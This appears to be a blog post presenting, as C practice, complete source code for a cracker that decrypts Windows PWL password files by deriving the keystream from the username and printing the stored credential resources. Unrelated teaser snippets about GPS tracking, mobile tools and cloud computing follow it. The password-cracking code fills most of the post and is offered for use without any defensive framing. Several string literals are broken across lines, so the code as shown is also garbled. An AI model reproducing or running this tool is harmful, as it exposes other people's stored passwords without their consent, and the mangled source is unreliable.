Skip to main content

Getting Computer Password using C language

 For those with passion in C- Language is something nice to practice take a look to the header files in case you didn't understand Google them and understand why they where used in this program have fun guys.....


Code :
# include<stdio.h>
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
    FILE *fd;
    int i,j;
    int size;
    char ch;
    char *name;
    int cracked;
    int sizemask;
    int maxr;
    int rsz;
    int pos;
    int Rall[300];     /* Resourse allocation table */

    if(argc<2){
            printf("usage: glide filename (username)");
            exit(1);
    }
    /* Read PWL file */

    fd=fopen(argv[1],"rb");
    if(fd==NULL){
                  printf("can't open file %s",argv[1]);
                  exit(1);
    }
    size=0;
    while(!feof(fd)){
            Data[size++]=fgetc(fd);
    }
    size--;
    fclose(fd);

    /* Find Username */
    name=argv[1];
    if(argc>2)name=argv[2];
    printf("Username:%s
",name);

    /* Copy encrypted text into keystream */
    cracked=size-0x0208;
    if(cracked<0)cracked=0;
    if(cracked>1000)cracked=1000;
    memcpy(keystream,Data+0x208,cracked);

    /* Generate 20 bytes of keystream */
    for(i=0;i<20;i++){
            ch=toupper(name[i]);
            if(ch==0)break;
            if(ch=='.')break;
            keystream[i]^=ch;
    };
    cracked=20;

    /* Find allocated resources */

    sizemask=keystream[0]+(keystream[1]<<8);
    printf("Sizemask:%04X
",sizemask);

    for(i=0;i<256;i++){
            if(Data[i]!=0xff){
                                Rall[Data[i]]++;
                                if(Data[i]>maxr)maxr=Data[i];
            }
    }

    maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
    divisible by 16 */

    /*Search after resources */

    Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
    for(i=0;i<maxr;i++){
                /* Find the size of current resourse */
                pos=Rpoint[i];
                rsz=Data[pos]+(Data[pos+1]<<8);
                rsz^=sizemask;
                printf("Analysing block with size:%04x    (%d:%d)
",rsz,i,Rall[i]);
                if((Rall[i]==0)&&(rsz!=0)){
                                printf("Unused resourse has nonzero size!!!
");
                                printf("If last line produed any:You may try to recover
");
                                printf("Press y to attempt the recovery
");
                                ch=getch();
                                if(ch!='y')exit(0);
                                rsz=2;
                                i=i-1;
                }
                pos=pos+rsz;

                /* Resourse have a tedency to have the wrong size for some reason*/
                /* Chech for correct size*/

                if(i<maxr-1){
                                while(Data[pos+3]!=keystream[1]){
                                                        printf(":",Data[pos+3]);
                                                        pos=pos+2; /* Very rude may fail */
                                }
                }
                pos+=2; /* Include pointer in size */
                Rpoint[i+1]=pos;
    }
    Rpoint[maxr]=size;
    /* Insert Table data into keystream*/
    for(i=0;i<=maxr;i++){
                    keystream[20+2*i]^=Rpoint[i] & 0x00ff;
                    keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
    }
    cracked+=maxr*2+2;
    printf("%d Bytes of ketstream recoverd
",cracked);

    /* Decrypt resources */
    for(i=0;i<maxr;i++){
                            rsz=Rpoint[i+1]-Rpoint[i];
                            if(rsz>cracked)rsz=cracked;
                            printf("Resource[%d](%d)
",i,rsz);
                            for(j=0;j<rsz;j++)
                            printf("%c",Data[Rpoint[i]+j]^keystream[j]);
                            printf("
");
    }
    exit(0);
}

Comments

Popular posts from this blog

Open GTS a solution for developers of GPS tracking projects in Africa

OPEN GTS A SOLUTION FOR DEVELOPERS OF GPS TRACKING PROJECTS IN AFRICA        OpenGTS  is an open source project which can help developers in Africa and anywhere in the world who want to develop web based applications on tracking system of different devices from mobile phones to cars. The project provides complete support to different operating systems and developing environment and the idea itself can be of much use if its applied effectively. The project like this can help most of African companies and individuals to track different items in their day to day life. OpenGTS  is the first available open source project designed specifically to provide web-based   GPS   tracking services for  vehicles and auto mobiles. OpenGTS   has been successful in most of the countries and it has proven to be effective and reliable this is the challenge to Tanzanian and African developers to use these tools which are available for free to develop applications which are useful to our s

Software for mobile development

Mobile development has been growing since the day Apple introduced iPhone. Mobile browser has never been so robust. It supports HTML5, CSS3 even with CSS animation. After that, Google introduced Android, and the era of mobile platform has began. Motodev Dedicated to opening up the potential of Android to every developer, Motodev is simply the best way to get started, stay inspired, and invent the future with a whole new generation of phenomenal user experiences.      Motodev has everything you need information, early access, tools and documentation, community support, and go to market resources to get started, develop, and distribute Android apps that tap the power of Motorola’s latest hardware innovations.For more information about Motodev studio follow this Learn more DynamicX DHTMLX Touch is an HTML5-based JavaScript library for building mobile web applications. It is not just a set of UI widgets, but a complete framework that allo

Cloud computing

Basically, personal cloud computing means having every piece of data you need for every aspect of your life at your fingertips and ready for use. Data must be mobile, transferable, and instantly accessible. The key to enabling the portable and interactive you is the ability to synch up your data among your devices, as well as access to shared data. Shared data is the data we access online in any number of places, such as social networks, banks, blogs, newsrooms, paid communities, etc. Cloud computing for Africa is the dream come true since the main hindering factors of the advancement of IT industry in Africa where infrastructures and going cloud meaning that increasing ability to share resources in a virtual world rather than using physical hardware and resources in which in one way or the other it was difficult to achieve in our continent. For example now we don’t have to move physical servers and hardware from one area to another and reduce the cost and com